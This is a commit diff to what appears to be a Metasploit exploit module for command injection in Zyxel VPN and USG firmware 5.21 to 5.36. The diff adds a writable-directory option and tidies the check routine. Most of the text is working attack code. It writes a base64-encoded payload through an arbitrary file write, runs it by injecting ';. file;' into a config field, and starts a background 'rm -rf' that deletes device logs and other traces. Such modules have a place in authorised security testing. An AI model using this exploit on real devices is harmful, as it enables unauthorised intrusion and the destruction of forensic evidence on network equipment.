Added WRITEABLE_DIR datastore option plus minor improvements

modules/exploits/linux/http/zyxel_parse_config_rce.rb

@@ -15,7 +15,8 @@ def initialize(info = {})
         info,
         'Name'        => 'Zyxel parse_config.py Command Injection',
         'Description' => %q(
-          This here module exploits Zyxel
+          This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
+          this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
         ),
         'Author'      =>
           [
@@ -36,7 +37,7 @@ def initialize(info = {})
             [ 'Automatic Target', {}]
           ],
         'DefaultTarget' => 0,
-        'DisclosureDate' => '',
+        'DisclosureDate' => '2024-01-24',
         'Notes'           =>
 		  {
 		    'Stability'   => [ CRASH_SAFE, ],
@@ -46,45 +47,40 @@ def initialize(info = {})
       )
     )
 
-    # register_options(
-    #   [
-    #
-    #   ],
-    # )
+    register_options(
+      [
+        OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
+      ],
+    )
   end
 
-  # def fingerprint_method1
-  #
-  # end
-  #
-  # def fingerprint_method2
-  #
-  # end
 
   def check
     res = send_request_cgi({
                              'method' => 'GET',
                              'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
                            })
-    return CheckCode::Unknown if res.nil?
+    return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?
 
     if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
       return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
-      CheckCode::Safe
+      return CheckCode::Safe
     end
+    CheckCode::Unknown("Version info was not found.")
   end
 
   def exploit
-    # Command injection has a  0x14 byte length limit so keep the file name smol.
-    # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
+    # Command injection has a 0x14 byte length limit so keep the file name as small as possible.
+    # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.
     filename = rand_text_alpha(1)
+    payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
 
     command = payload.encoded
     command += <<-CMD
 2>/var/log/ztplog 1>/var/log/ztplog
-(sleep 10 && /bin/rm -rf /tmp/#{filename}.qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
+(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
     CMD
-    command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > /tmp/#{filename}.qsr ; . /tmp/#{filename}.qsr"
+    command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
 
     file_write_pload = "option proto vti\n"
     file_write_pload += "option #{command};exit\n"
@@ -100,12 +96,12 @@ def exploit
                              'data' => data.to_s,
                            })
     fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
-    register_files_for_cleanup("/tmp/#{filename}.qsr")
+    register_files_for_cleanup(payload_filepath)
     print_good('File write was successful.')
 
     cmd_injection_pload  = "option proto gre\n"
     cmd_injection_pload += "option name 0\n"
-    cmd_injection_pload += "option ipaddr ;. /tmp/#{filename}.qsr;\n"
+    cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
     cmd_injection_pload += "option netmask 24\n"
     cmd_injection_pload += "option gateway 0\n"
     cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
@@ -132,6 +128,5 @@ def exploit
     output = output.gsub("\n\n<br>", "")
     output = output.gsub("[IPC]IPC result: 1\n", "")
     print_good("Command output: #{output}" )
-
   end
 end